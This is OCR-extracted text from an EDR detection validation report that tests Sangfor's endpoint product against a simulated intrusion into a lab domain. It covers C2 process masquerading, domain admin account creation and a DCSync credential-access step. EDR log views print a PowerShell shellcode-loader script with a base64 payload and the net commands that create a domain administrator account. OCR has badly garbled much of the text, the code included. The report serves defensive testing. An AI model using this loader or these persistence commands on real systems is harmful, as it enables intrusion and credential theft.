File SHA256 (i) 36f4354643b3fa0de7 14d2367b7 12c2elfa1c89e2cfd 131 Process Siart Time
ae6b831ad962b1033
File MD5 (i) dd6f4b7518a253557b8ead6515fBh7d Digital Signature Microsoft Windows
Signature Validity Trusted Security Cataleg Signature
Process Name powershell Integrity Level Medium
File Size 440 KB File Creation
File Modification File Access
File Descripfion Windows PowerShell File Version 10.0.20345 2549
Product Name Microsoft® Windows® Operating System Original File Name PowerShell EXE
Signature Time
App Name powershell Running in Backend True
Target Entity Info ~
Destination IP 10.10.70.200 Destination Port 5985
Source IP 10.10.70.201 Source Port 60615
IP Type IPvd4 Metwork Protocol TCP
Close
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Leg Investigation Investigation Panel x 4+ e
| Time Occurred Last 30 days [= Opera Log Details X
Entity Name (Target) ~ Endpoint Nat gL s L
“amsisessionID": 24455,
Time Occumed Operation Tyg “content": " set-strictMode -version 2\m\nfunctien func_get proc_address {\n\tParam ($var_module,

$var_procedure)\t\tin\tgvar_unsafe_nstive methods = ([AppDomain]::CurrentDomain.Getassemblies() | where-object { $_.GlobalassemblyCache
File Operalion 514 4 .1 ocation.split(*\\\\')[-1].Equals('System.dll') }).GetType( Microsoft.win3z2.Unsafenativevethods')\n\tsvar_gpa =
$var_unsafe_native_methods.GetMethod( " GetProcAddress', [Type[]] &@('System.Runtime.Interopservices.Handleref', 'string'))\n\treturn
. File Operatior $var_gpa.Invoke{$null, @([System.Runtime.InteropServices.Handleref](New-Object System.Runtime.InteropServices.HandleRef(({New-Object
IntPtr), ($var_unsafe_native_methods.GetmMethod('GetmMeduleHandle') ). Invoke ($null, @($var_module))}), $var_procedure))in}ininfunction
func_get_delegate_type {\n\tParam (\n\t\t[Parameter(Position = @, Mandatory = $True)] [Type[]] $var_parameters,\n\t\t[Parameter(Position
= 1)] [Type] $var_return_type = [Void]\n\t)\nm\m\tSvar_type_builder = [AppDomain]::CurrentDomzin.DefineDynamicAssembly{{New-ObJject
system.Reflection.AssemblyName( 'Reflectedpelegate’)),
[System.Reflection.Emit.AssemblyBuilderaccess]: :Run).DefineDynamicMedule( 'InMemoryModule', $false).DefineType('MyDelegateType', 'Class,
Public, sealed, Ansiclass, autoClass', [system.multicastpelegate])\n\tgvar_type_builder.pefineconstructor('RTSpecialame, HideBysig,

Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags("Runtime,

Managed' )\n\t$var_type_builder.DefineMethod('Invoke', 'Public, HideBysig, Newslot, virtual', $var_return_type,
$var_parameters).setImplementationrlags('Runtime, Managed®)\n\n\treturn $var_type_builder.CreateType()\n}\n\nIf ([IntPtr]::size -eq 8)
{wnytleyte[]]$var_code =

[System.Convert]: :FromBases4String( ' a6p/Bzt2dXR1d2]2¥nvidGuujwezBNz cabl Pay4] IBUTMCM] a6 J7a65vBBMQ4XDXZ6]bZ6 ] TaNEngMNnramzy /C8TyNvgMhro0A3
¥1sWIyMQEWuubvNimSsjIyNrgNPL1zw]j I2KuZwe iRWIAZ i FWLmuudwdDasjtyege IyNvrmcHQ2uo 7uudvPLCTKkJI6b] LKApISMIEPFrrm8HC 2euy TPLUTW] IxDxas6usyMiI2eu
YRPLQzwII2uurrMj IyPcdtNiL IxmIZojMyM]gmcHC 2KoZ iugZud 2gKa3 IyM]puMs Zuucpps j Iy0gqbud 7pula IyMi Iy xmexDxgmeHf 2uubwd TZ65hY8suPCMIEPFrrq7 JIyMiYptD
ICMI Y03 TyMQEWUUBPHAFME 7y 8ka TyMOSWUUrgMn Iy Nim/MrIyPLITe] I 2uupuM] TyPkZwd TI ZENT2uq Zwdbac53B@NrrmaTaspmg 2uubprrgYDIyMjaspmisvkMiMj1PtvrmecH
QRuudvNrOOprAmEDacEw M ] ISveLyMI ZhDa puNWMEK 086+ udbasg 20y M T8gkasi 2oyM] 1215 16YNaqSHLEXU-+2546ms ABHUGrgM] TyNrQGANZXo4LKeh T iMjbe5wM2muL Zr
qg4TLiMjaEbcvhoo Juudvkg42tAG8 sRNCM] ZhD4as jbasbj LK fwIyM]beAFbESwM2ucr hMu IyNv IMOOIRpEKY Y SOCM] Ixpgl 1xab@BgL 2uo&émqo7 8vEPYMjoBE1VE1vQagnbg jh
@9BWK2g0785IPSM] ZhD4puNXaGaAYCtqgPdraoz JI8rHIyMjoBghvidngagnbaihgHaraqivy2yeIyPI76AY IFZTgHAVEE ] kag vy 1cDIyNmEPimsyymiiMjI2um3Fc2yghm

L2+uZvMgs2uc7GtABSuANSH ] bgbovi LuptvXhm+uZwdza6528 2uurgMnIyPLnyQ] I2ucvwd jLSM]ag jkaeLn@y2jI2I8¥n1ifmd / FH1+4KAY I 1aHgHAra66mE Y4 j12uqIwc L6 jh

qGAVMLE TyOqthsuTyNugDarqPSqZweDZ6q+Ey4] 19206 iMEy43T2YQ+KhjLKABINZ CGRYDL iMFLKZWINZ a5 8y1 Ld3vrkAzhyDOLK Cd3NzCakB/BxIrrmaHe 208/ 2ugbwc L
b&5ug2+04Ggo92uurgMnIyMsnFALQGEz4tesoMUfqgYTLIMjooUnglcHASUSIyM]bejTaebjLKFT3dzcZeimEy 4 IxDxa6jry3M/ Iy0oYDNGrgd @9z CEPGGphMUIyNFYhp2I2eo
6WQo9205ZuliLLbib6jSa65us2uqbwd jbg]1a65vBINrgmEHG2UUrgMNIy0qZuwc TglcHASY 1L CM] puMspebd 3NxNgK 4 TLiMIbESME 209 WU0EMYTMSMag] 1a6] oy SowIyNvrmcH
€2uudvNrrg4nJyM] yeMmIyNngFELmy Mz IyNUINT Fpmalvy 1ngJijIymibindasbovzziqGyvbesmayDjas]s ae0zy /U3 TyNMEOMQSWUES E zcdk tvrmcHUSKUTYMIEOPi3PREEONG
golirnMivtzezhD]jasduye]c36Kucydi3PTK1t 7c3GugzwirgPKakyMj I8 tulyM]ackjvydroaMjasDnC+DvasbqvaRrgn8HK3RroMEDaG jZa6j6aqjzmiMjIVPLATC JI2umelcT
@BEDKyNrghtrqChrpupliimugIMglashyKEgkat Jpashxk 2umevbXacpik 2uofuc TaebnA3z g7 +/ vY2BroMaDas J1a6bquwdrgCprpupXP2+0Y1trgDpwqiNvqOGIMyMI IEVIMCH]
@67 gYCEQ42UE5WNA40/ vaBDgV 25 rqneHK2ugvinc ZdGUEZWNrgDprgNFraNrIMmuoe Ik IyMj ach4KBUPMCMT be JlasbavssucCtrgozLujAj I2uofwe TashXBxtroocpfoovasin
a6p7K2ugSzNrglM7dGI3YnZ idwleasDPQ2602uR juy I JIyNmgNNNgM1ngOIQ8go7GKalwej I8vKPCM jbe jDasbjLKegIyMiYpojoyM]jasjzaq]sy IMDIYMQ1RDOa@DEas53BXNG
INIimxMIIyNrqoxi3HRra6hVv2eiXwdz TyMiT1YZEPheptVXDaj0a653BXNILTZUYpS TIyM] ayDsyExBa2uma 1 cpol BHCYMITINWINZEYhJSUFF 1IGP1XDtz 1ouy TyMzoNepX7EQ
42+ufudDagh4E2q0SEtqarejagjarnxd ful+yn284GuosMi+7 2ugfwczaspPEztrglcHA3R1d 202YnvidGug zxNiqGNz a6 SEPF rgirUUi+oaisQawkfIin",

“directory":

“displaynam

“extension"

“hashsha2sé "7522185f32e526718aae58a8ddbe152a@92f@7c2dbcd2933f c4@a337a59dfae",
“name": .,
“nodeId": 5792641124411483306,
R
Previous Close
Log Investigation Investigation Panel x 4+ o
| Time Occuned Last 30 days (=] | Opera Log Details x

Entity Name (Target) Endpoint Mar - -
"imageType": 34484,

Time Occurred Operation Typ "integrityLevel”: 4,
isExit": e,
File Operatior “istiddenWindows": @,
"mappedrilerath”: "C:\\Windows\\System3z\\wsmprovhost.exe",
File Operatior “name”: “"wsmprovhost”,

“nodeId”: 1472118789472938638,

“nedeTypeld": 1,

“neormalCommandLine”: "c:Viwindows\\system22\\wsmprovhost.exe -embedding”,

“parentProcesshodeld”: 10459981932795725035,

"pid": 4784,

“processFlags": @,

“relativeCreatedTime": 42243888,

“treeld": 1695772049898567248,

“treetodeId": 9657194828795502143,

“updateTime": 1773921908487,

“usersessionId": @,

“usersid": "S-1-5-21-934274518-1384776282-4208455934-1118"

b
"Target”: {

“amsiSessionID": 24455,

“content": " set-StrictMode -version 2\m\nfunction func_get_proc_address {\n\tParam ($var_module,
svar_procedure}\th\ti\n\t$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | where-object { $_.GlobalAssemblyCache
-and £_.Lecation.Split(*\\\\")[-1].Equals( System.dll'} }).GetType( Microsoft.win32.UnsafeNativeMethods')in\tsvar_gpa =
$var_unsafe_native_methods.GetMethod ('GetProcaddress®, [Type[]] &('System.Runtime.InteropServices.Handleref', 'string"))\n\treturn
$var_gpa. Inveke{$null, @([System.Runtime.InteropServices.Handleref](New-Object System.Runtime.IntercpServices.HandleRef((New-Object
IntPtr), ($var_unsafe_native_methods.GetMethod( ' GetMeduledandle')). Invoke{$null, @($var_module)))}, $var_procedure))in}ininfunction
func_get_delegate_type {\n\tParam (\n\t\t[Parameter(Position = @, Mandatory = $True}] [Type[]] Svar_parameters,\n\t\t[Parameter(Position
= 1)] [Type] $var_return_type = [Void]\n\t)\n\n\tsvar_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
System.Reflection.Assemblyname( ' ReflectedDelegate')),

[System.Reflection.Emit.AssemblyBuilderAccess]: :Run).DefineDynamicModule( "InMemoryModule’, $false).DefineType( 'MyDelegateType', 'Class,
Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])wn\t8var_type_builder.DefineConstructor{'RTSpecialMame, HideBysig,
Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime,

Managed® }\n\t8var_type_builder.DefineMethod( ' Invoke', 'Public, HideBysSig, Mewslot, virtual', $var_return_type,
$var_parameters).SetImplementationFlags('Runtime, Managed'}\n\n\treturn $var_type_builder.CreateType(}\n}\n\nIf ([IntPtr]::size -eq 8)
{\nm\t[eyte[]]$var_code =

[System.Convert]::FromBases4string( ' aep/Bzrtadxrid212ynvidGuuiwczoNzcacL Pey4]ISUTHCM a8 i 7a65vBBNQEXDxZ 6 bZ6 TgNENgMNN rEMzy / CETyNvgMhrooas
¥1suIyMQ2WuubvNimssjIyNrgiPL1zwj I2KuZwe iRWIaZ IFWLmuudwdDas jty@ge IyNv rmcHQ2uo 7WuudvPLC Tk I6bj LKApISMIEPFrrm8HC 2euY TPLUTW] IXDXa66usyMjIzeu
YRPLQZWj I2uurrtj IyPcdtNiLIxmIZojMyMjgmcHe 2KoZ IuqZwd3gKas IyM] puMs Zuuopps j Iy0gbwd 7 pu0a IyMi Iy xmexDxgmeHf 2uubwd TZ65hY 8 sUPCMIEPFrrg7 JIyMjvptD
ICM]y2o9TyMOSWUUbpHNrmE 7y 8k 9 IyMQSHUUrgMn IyNim/ MrIyPLITe] I2uupuM] IvPkZwd T ZEnT2uqZwdbas 5 3BaNrrmaTaépmg 2uubpNrrgYDIyM] aspmisvkMiM I 1PtvrmcH
02uudvNrooorAmEDassudvil I8veLvM iZhDdpuNwimkosG+afudbasa2oviiISekasi2ovk 1 1215 16YNaa5WLeX U+ 2 s46Ms AGHUGrar IVNrOGANZXo4L Keh L iM ibe5wM2muLZNr

Previous Close Outlook (classic)
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Log Investigation Investigation Panel x s o

| Time Occured Last 30 days [ || Opera Log Details f

| Endpoint Name DCO01 ~ Raw JSON

ﬂ Isass.exe . . DCO1 {10.10.70.200)
Time Occurred Operation Tyg Account Operation 8’ alice. jones
PID 7638 - | idefault group
Account Oper
Details Raw JSON
Account Oper
Behavior Info ~
Account Oper
Behavior ID 6320898863234651125 Aclivity Type Account Login
Account Oper Operation Type Account Operation First Occurred
Last Occurred
A it O)
conm Upg Source Entity Info ~
Account Opet Process File Name Isass.exe PID 768
Process File Path CAWindows\System32\lsass.exe Command Line CAWindows\system32i\lsass.exe
Account OPel  Fije £HA256 (1) 150ffd59c8495551b741373d03846c4760262772202a24  Process Start Time _
dac96185fob7a>dal
Account Ope!  Fiie ps () 4bee4fc6468a28dc00Md4bEA41203 Digital Signature Microsoft Windows Publisher
Signature Validity Trusted Embedded Signature
Account Oper
Process Hame Isass Integrity Level System
Account Opet File Size File Greation
File Modification File Access
Account Opel  File Description Local Security Authority Process File Version 10.0.20348.4294
Product Name Microsoft® Windows® Operating System Original File Name Isass.exe
Account Opet
Signature Time
Account Opel Running in Backend False
Target Entity Info ~
Account Oper
Usemame alice jones Domain Name -
Previous Next Close
Log Investigation Investigation Panel x 4+ )
| Time Occurred Last 30 days =Y | Opera LOB Details b4

| Endpoint Mame Dot - || Raw JsON . ) . )
"fileDescription”: "Local Security Awuthority Process”,

"fileHashmds": "4belesfoces68a28dceeffdabedalabs”,

"fileHashShal": "3addsd4abes365d614855a741e24ebcddedda2ec”,

Account Oper “fileHashshalSe": "158ffdSScE45555Fb74137200364604760252172005a2f4dac96185F5b7a5da0"
“fileHashsubHash

Time Occurred Operation Tyg

Account Oper “filemodifiedTime":
"fileName": "lsass.exe",
“fileNodeId": 11204976599562586429,
"fileoriginalFilename"
"filePath": "C:\\Windows\\System32\\lsass.exe",
"fileProduct”: "Microsoft® Windows® Operating System”,
"filesignaturename”: "Microsoft windows Publisher®,
Account Opet "filesignatureTime": .
"filesignatureType": 2,
Account Oper "filesize": 84128,
“fileversion":
Account Oper “imageTamper's 8,
"imageType": 34484,
"integrityLevel”: s,
"isexit": @,

Account Oper

"lsass.exe",

Account Oper

Account Oper

"isHiddenWindows": @,
Account Oper . . N
name lsass”,
"node It 9886353875958377387,
"nodeTypeId": 1,
“normalcommandLine”:

Account Oper

Awindowsh\system3aziilsass.exe”,
Account Opet "parentProcessuoderd”: 6361355267931588689,
"pid": 7e8,
Account Oper "processFlags": @,
"relativeCreatedTime"™: 3799588,
Account Oper "treeld": 7592092818833632915,
"treeNodeId": 13468422687204325535,
Account Oper "usersession1d": @,
“usersid": "s-1-5-18"
T
"Target": {
"displayName": "alice.jones",
"name”: "alice.jones",
"nodeId": 11837@58627281438161,
"nodeTyperd": 7,
“sid": "S-1-5-21-932274518-1384776283-4208465932-1118",
"updateTime":

Previous Next Close
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Step 12. Command and Control

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this step, the tester leveraged the C2 Framework to establish a legitimate-appearing parent/child
process relationship for the Command-and-Control (C2) channel on DCO1.

To blend malicious activity into normal system behaviour, the Beacon was configured to spawn under
trusted Windows processes. The spawnto directive was used to define a legitimate system binary as
the parent process, followed by spawning a new Beacon tied to the configured listener.

e T1036 - Masquerading
Execution of malicious activity under legitimate system binaries to evade detection.
e T1055 - Process Injection
Execution of Beacon code within the address space of a legitimate process.
e T1071.001 - Application Layer Protocol: Web Protocols
Use of HTTP/HTTPS-based C2 communication to blend with normal traffic.
e T1105 - Ingress Tool Transfer
Execution of a staged payload to establish a new Beacon session.

DCO1
10.10.70.200
NT AUTHORITY\SYSTEM

system integrity

The screenshot shows that the EDR correlated the activity on DCO1 into a broader attack chain and
captured the transition from wsmprovhost.exe to wuauclt.exe. In the AI analysis view,
wsmprovhost.exe — Process Creation — wuauclt.exe is explicitly shown, which matches the tested
step of moving the beacon into a more legitimate-looking Windows process.

The same analysis also links this stage to later command execution via net.exe, which indicates
that the product preserved the execution context after the process-masquerading step rather than
treating it as an isolated event. That is useful because it shows continuity from the initial remote
execution on DCO1 into the follow-on activity performed from the new process context.

Overall, the EDR appears to have detected this step well. It did not only surface suspicious activity
on DCO1, but also reconstructed the process shift from wsmprovhost.exe into wuauclt.exe within
the broader attack chain, which aligns well with the intended parent/child process masquerading
behaviour.
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Step 12 Detection (Active response)

I3 cCredential Theft via Backdoor Launched by the System Service Process services.exe
Target Endpoint DCO1 (10.10.70.200) Cwner - Threat Type Credential Theft Threat Tag  Malware ©
@®) Al Reasoning Analyzing Logs: 18 B AlAnalysis Results  Attack Chain  Suspicious Enfities  Process Graph  Alerts

Incident Summary

This is a Credential Theft attack initiated by a backdoor through the system service process services.exe, Target device (Mame: DC01, IP address:
10.10.70.200), the attack is in the compromised stage. The attacker launched svchost.exe via the system service process services exe, which further created the
wsmprovhost.exe process, and finally, wsmprovhost.exe launched the wuauclt exe process that was implanted with the backdoor. The malicious process then
executed commands to add domain users and elevate privileges, aiming to perform lateral movement and data exfiltration. This attack may lead to full control of the domain
controller, leakage of sensitive data, and establish persistence points for the attacker within the network.

swchost exe RPC Process C... wsmprovhost exe
wsmprovhost exe Process Creation wuaucl exe
1 Malicious Program Execution and... Malicious Command Execution
Attacker
wuaucliexe  Process Creation - netexe
wuaucltexe  Process Creation © netexe a
~ Attack Chain Description
c
~ Malicious Program Execution and Process Injection
1. The “wuaucl.exe’ process is marked as HackTool. SleepMask_A, indicating that it has been injected with makware.
2. Subseguently, “wuaucl exe” created the “wsmprovhost exe’ process via RPC call, which is a common process injection technique used to hide malicious activities.
€ Security Incidents / Security Incident Details Alert Details x
[EZ3 Hacktool in memory
m Credential Theft via Backdoor Launched by the Syst
Target Endpoint  DCO1 (10.10.70.200) Owmner - Threat Type Credential Theft Threat Ta Alert Description Code snippets of sleep_mask were delected in memory.
Al Reasoning  Analyzed Logs: 26 Al Analysis Results Attack Chain Suspin  AletID 229683574120973...  Time Detecled 3 Deleclion Engine MSI Engine
ATT&CK Tactic Command and Con... ATT&CK Technique Remote Access T... =l Alert Chain ID 248ad232-7a50-48...
Time Detected Severity Alert Name Description Ale | Acliv‘rty LDgS (1]
m Suspicious cros... Process wemprovhost... =) Last Occurred Operation Type Source Entity Activity Type Target Entity
T Process Operat.. wsmprovhost exe Process Creation wuauclt exe
| Medium | Shellcode execu... It is suspected that an wu
m Shellcode execu... Itis suspected that an .. wu
m Process created.. It is suspected that an wu
m Process created.. Itis suspected that an .. wu
m Shellcode execu... Itis suspected that an WU
m Hacktool in mem... Code snippets of wu
N m Suspicious shell It is suspected that an wu
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Step 13. Persistence / Privilege Escalation

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this step, we simulated domain-level persistence by creating a new domain user account and
adding it to the Domain Admins group.

Using the active Beacon session on DCO1, native Windows domain administration commands were
executed to create the account and assign privileged group membership. This technique represents
a high-impact persistence mechanism, as it establishes long-term administrative access within the
Active Directory environment.

e T1136.002 - Create Account: Domain Account

Creation of a new domain-level user account for persistence.
e T1098 - Account Manipulation

Modification of group membership by adding the account to the Domain Admins group.
e T1078 - Valid Accounts

Use of legitimate administrative credentials to create and manage domain accounts.

DCo1
10.10.70.200
alice.jones@lab.local

high integrity

In this step, domain-level persistence was simulated by creating the new domain user domain.admin
and subsequently adding that account to the Domain Admins group on DCO1. The execution
screenshot shows the relevant net user /domain domain.admin admin24! /add and net group
"Domain Admins" /domain domain.admin /add activity, and the available telemetry aligns well with
that sequence. The broader incident view already associates the activity with malicious command
execution on the domain controller and links it to the existing C2-related process chain involving
services.exe, svchost.exe, wsmprovhost.exe, and wuauclt.exe, which provides useful context for
understanding how the account-creation activity was reached.

From a threat-hunting perspective, the two detailed investigation screenshots add strong
confirmation of the actual administrative actions performed. One event shows wuauclt.exe spawning
net.exe with the command line net user /domain domain.admin admin24! /add, clearly evidencing
the creation of the new domain account. The second event shows another net.exe instance launched
with net group "Domain Admins" /domain domain.admin /add, confirming that the same account
was then added to the highly privileged Domain Admins group. This is good-quality telemetry
because it preserves both command lines, the parent-child relationship, the responsible source
process, and the host context on DCO1, making the persistence and privilege-escalation chain easy
to validate and correlate during hunting.
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I3 Credential Theft via

Target Endpoint DCO1 (10.10.70.200) Malware

Threat Tag

Cwner - Threat Type Credential Theft

@) Al Reasoning Analyzing Logs: 18 &5 Al Analysis Results  Attack Chain

Incident Summary
This is a Credential Theft aftack initiated by a1

Suspicious Entities

Backdoor Launched by the System Service Process services.exe
©

Process Graph Alerts

backdoor through the system service process services exe, Target device (Mame: DCO01, IP address:

10.10.70.200), the attack is in the compromised stage. The attacker launched svchost exe via the system service process services exe. which further created the

wsmprovhost exe process, and finally, wsmprovhost exe launched the wuaucl exe process that was implanted with the

backdoor. The malicious process then

executed commands to add domain users and elevate privileges. aiming to perform lateral movement and data exfiliration. This attack may lead to full control of the domain

controller, leakage of sensitive data, and establish persistence points for the attacker within the network.

svchost exe RPC Process C... wsmprovhost exe
wsmprovhost exe Process Creation wuauch.exe
1 Malicious Program Execution and. .. Malicious Command Execution
Attacker
wuaucltexe  Process Creation  netexe
wuaucitexe  Process Creation + netexe a
~ Attack Chain Description
o]
~  Malicious Program Execution and Process Injection
1. The "wuauclt.exe’ process is marked as HackTool. SleepMask_A, indicating that it has been injected with malware.
2. Subsequently, "wuaucit exe” created the “wsmprovhost.exe” process via RPC call, which is a common process injection technigue used to hide malicious activities.
O

Malicious Command Execution

w

1. "wuauclt.exe" executed the “net.exe’ command to attempt adding the domain user “domain.admin’ with the username *admin24!", indicating the attacker is trying to

perform lateral movement or privilege escalation.

2 "wuauclt.exe continued executing the ‘net exe’ command to attempt adding the user to the domain administrators group, further expanding its privileges within the

system.
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Step 13 Manual investigation for telemetry / Threat hunting

Log Investigation Investigation Panel : X 4+ Q
| Time Occurred Last 30 days (5] | Operz Log Details X
| Eniity Name (Target) netexe + || Endp

wuauclt exe net exe DGO1 (10.10.70 200)
Time Occurred Operation Ty Process Operation
PID 2632 PID 5568 - | Mdefault group
Process Cper
Details Raw JSON
Process Opet
Behavior Info ~
Process Cper -
Behavior ID 6332420840260375357 Activity Type Process Creation
Operation Type Process Operation First Occumed
Last Occurred
Rule ID 1100051620000004 Rule Name: Process created by shellcode
Description It is suspected that an aftacker using shelicode in Rule Intent Defense Evasion
wuaucl exe to create net exe. This activity allows...
ATTACK Taclic Defense Evasion (TADDOS) ATT&CK Technique Reflective Code Loading (T1820) 70
Source Entity Info ~
Process File Mame wuauch exe PID 2632
Process File Path C\Windows\System32\wuauclt exe Command Line CAWindows\System32Zwuauclt exe
File SHA256 () 382049 13996d14. )2t Process Start Time
9e9faTecaf35611d65c
File MD5 (i) 33803be53adbeeb4e7500ad080a9a3T1 Digital Signature Microsoft Windows
Signature Validity Trusted Embedded Signature
Process Name wuauch Integrity Leve! High
File Size File Creation
File Modification File Access
File Descripiion Windows Update File Version 10.0.20348.4294
Product Name Microsoft® Windows® Operating System Original File Mame wuauch exe
Signature Time
Running in Backend True
Target Entity Info ~
Process File Name netexe PID 5568
Process File Path CAWindows\System32\inet.exe Command Line net user /domain domain. admin admin24! /add
File SHA256 (D) 540747022e0d67722989765b5db268707e4e71538ae  Process Siart Time
AT A4 AP T B
Previous Close

Log Investigation Investigation Panel i *  + (@]
| Time Occurred Last 30 days (53 || Opera Log Details X
| EylEe(ir) ceee 7 )| &0 | wuauch exe netexs DCO1 (10.10.70.200)

PID 2632 AeEEs el PID 5380 fdefault
Time Occurmed Operation Ty - aull group

Process OPS!  petails  Raw JSON

Process Oper Behavior Info -~
Behavior ID 6332439582323247723 Activity Type Process Creation

Process Opet
Operation Type Process Operation First Occurred
Last Occurred
Rule ID 1100051620000004 Rule Name Process created by shellcode
Description It is suspected that an attacker using shellcode in Rule Infent Defense Evasion

wuaucit exe fo create net exe This acivity allows.

ATT&CK Tactic Defense Evasion (TA0005) ATT&CK Technique Reflective Code Loading (T1620) 7
Source Entity Info ~
Process File Name wuauclt exe PID 2832
Process File Path CAWindows\System32wauclt exe Gommand Line CAWindows\System32wuauclt exe
File SHA256 (D 38a049; 3996d14; 121 Process Start Time
9edfaTecaf55611d65¢c
File MD5 () 33803be53adbeef4e75b0ad080a%a37 1 Digital Signature Microsoft Windows
Signature Validity Trusted Embedded Signature
Process Name wuauch Integrity Level High
File Size File Creation
File Modification File Access
File Description Windows Updale File Version 10.0.20348 4294
Product Name Microsoft® Windows® Operating System Original File Name wuauclt exe

Signature Time:

Running in Backend True

Target Entity Info ~
Process File Name netexe PID 5380
Process File Path C:Windows\System32\net.exe Command Line net group "Domain Admins" /domain domain.admin
fadd
File SHA256 (i) 540747022e0d67722989768505d0265707e4e71538ae  Process Siart Time
Previous. Next Close

54



AV

comparatives

EDR Detection Validation Test 2026

Step 14. Credential Access

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this step, we simulated a DCSync attack to obtain credential material for all user accounts within
the domain lab.local. Using previously acquired Domain Admin privileges, we leveraged the C2
Framework’s dcsync capability to request Active Directory replication data directly from the domain
controller. This technique abuses legitimate directory replication protocols to retrieve password
hashes (NTLM) and Kerberos keys for domain accounts without interacting with LSASS on the domain
controller.

The objective of this activity was to evaluate whether unauthorized replication requests are detected,
logged, and correlated with suspicious administrative activity. This includes monitoring for
anomalous replication traffic originating from non-domain controller systems and identifying misuse
of accounts with replication privileges. This technique represents one of the highest-impact
credential access methods, as it can expose credential material for all domain users, including
privileged accounts.

e T1003.006 - 0S Credential Dumping: DCSync
Abuse of Active Directory replication permissions to retrieve password hashes and Kerberos
keys from the domain controller.
e T1078 - Valid Accounts
Use of legitimate Domain Admin credentials to perform replication requests.
e T1482 - Domain Trust Discovery
Enumeration of domain information to facilitate credential targeting and replication abuse.
DCo1
10.10.70.200

alice.jones@lab.local

high integrity

We did not observe any active alerts associated with the activities performed in this step.
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Product Impression & Insights

We conclude this analysis with a summary of Sangfor’s detection test results.

Sangfor delivered a mixed overall result, with the clearest value appearing once the intrusion had already
moved beyond the initial workstation stage and into more overt server-side activity. On WS01, the early
phases were largely not surfaced through active alerts, including the phishing delivery, the user-driven
execution of the malicious CPL, the browser-parented beacon, the scheduled-task persistence, the discovery
phase, and the Kerberoasting step itself. Even so, the available hunting data was often useful and, in several
places, quite detailed: it preserved the archive download from the cloud, the decompression and execution
chain through control.exe and rundll32.exe, the later creation and injection of chrome.exe, and the staged
persistence via the dropped msedge.exe file and the EdgeUpdate scheduled task. This means the product
did not lack telemetry, but in the earlier phases it depended much more on retrospective investigation than
on immediate, high-confidence detection, and the actual Kerberos ticket request remained notably less
visible than the preparatory account-enumeration activity that preceded it.

The picture became more convincing once the attack pivoted to FS01 and later to DCO1. The move to FSO1
was detected clearly through the SMB-based remote execution of the payload from the ADMIN$ path, the
service-backed launch of 8556e83.exe, and the subsequent injection into rundll32.exe, which gave Sangfor
a solid view of the first server-side compromise. The later browser-masqueraded beacon on FS01, the creation
of the local administrator account, the impersonated alice.jones context, the WinRM-based pivot to DCO1,
the transition from wsmprovhost.exe into wuauclt.exe, and the creation of the new domain admin account
were all at least reconstructable, with the stronger stages also reflected in the broader attack-chain view.
In particular, the threat-hunting data around the alice.jones impersonation added useful depth, because it
showed token-type changes, encoded PowerShell execution under the impersonated user context, and
follow-on WmiPrvSE.exe activity on FS01, which together provided meaningful evidence of token abuse or
token-stealing style behaviour even without a dedicated high-confidence alert for that step. At the same
time, much of this later visibility still leaned heavily on hunting and chain reconstruction rather than
consistent step-specific active alerting, and the final DCSync action produced no active alert at all. Overall,
Sangfor showed that it can provide meaningful forensic visibility and decent attack-chain reconstruction
once activity becomes operational on key systems, but its earlier-stage alerting and its coverage of some of
the most critical credential-abuse actions remained noticeably less mature.
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AI-Related Features

The following information is provided by the vendor and highlights selected product features, including AI-
related capabilities where applicable. This section is intended for informational purposes only and is not
part of the evaluation or certification criteria. The content is based on vendor input and has been
summarized and standardized by AV-Comparatives for consistency. The inclusion or absence of such features
does not influence the test results.

Sangfor Athena AI-Native EPP includes AI-supported capabilities aimed at enhancing analysis, correlation,
and response within endpoint security operations.

The platform utilizes Al-assisted processing of telemetry data to improve context and visibility of security
events, including process relationships and activity chains. This enables users to review structured
representations of observed activity and better understand the progression of security incidents.

In addition, the product provides Al-assisted analysis features that help interpret observed behaviour,
including identification of likely attack intent and summarized views of incidents. These capabilities are
designed to support investigation and decision-making during incident handling.

The system also integrates Al-supported investigation and response workflows, enabling coordinated
analysis and response actions across the broader security environment.

These features are primarily focused on supporting analysis, correlation, and interpretation of security
events rather than acting as standalone detection mechanisms.

Example views of Al-assisted correlation and visualization of security events, Al-generated interpretation
and incident context, as well as AI-supported investigation and response workflows are shown below:
MQAQGGHQVQ-.’:'; - - o'fo e ssesonEe )'77""‘"_)' Co oo 'Vv:lt’x':jt’-ffﬂ:ll:

~ Al-Native Telemetry Collection

User behavior example

The user extracted a shortcut file from Resume.zip and double-clicked it to execute it, which passively triggered a

malicious program.

Natural-Language Semantic Telemetry

Exomple telemetry: Telemetry data with natural language semantics:

Raw logs No data loss

“A ZIP archive” is extracted by “the explorer process,”
which created the “7zg process,” releasing “xxx.dll” and

“xxx.Ink” files,
- 7zg.exe opens flle High data volume High-quality data
» 7zg.exe creates fie

» 7zg.exe creates file ‘oo fnk"
Captures user
behavior instead of

program behavior

+ explorerexe creates process cmd.exe
- cmd.exe creates process rundi(32.exe H \gh noise e @
User Execution LNK lcon Smuggling
T1204.002 T1027.012

» rundii32.exe foads xooocdil

Directly understandable
by large language
models

Doesn't capture
user behavior

Q000

00
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[ e couren Lamobans ] | Opesstion e~ | Acty Type = S ee———— Log Details
Tena Oscumed Operation Type Activty Type Entty Hame iniiator Erity Mame (Targer)
File Operation ChaIGPTingtal..  FleDeomp.. - ChalGPTinstallr...  ChalGPT instalieTz ChaiGPT Instaterens B chuar iz Ll B oo Timatecers stetast gioue
Filo Dperation ChaIGPT Instal . — Fila Decomp. — ChalGPT Installer.  ChostGPT Instale T CRAIGPT Instateroxe
Detalls  Raw JSON
Filo Operation ChEnGPT Insiaser... FlleDecomp. .~ GharGPT Insai...  GheeGPT Installer 2172 CharGPT Instatecene S
Filg Ogeration ChatGPT sl FloDscomp.. - ChatGPT Inctallr,.  CharGRT InstaleeTz ChatGRT Instatecane Batuior B 15264891682159055016 Actiity Typa Fila Desompression
Operasion Type File Oporaton Frst Oceurrad
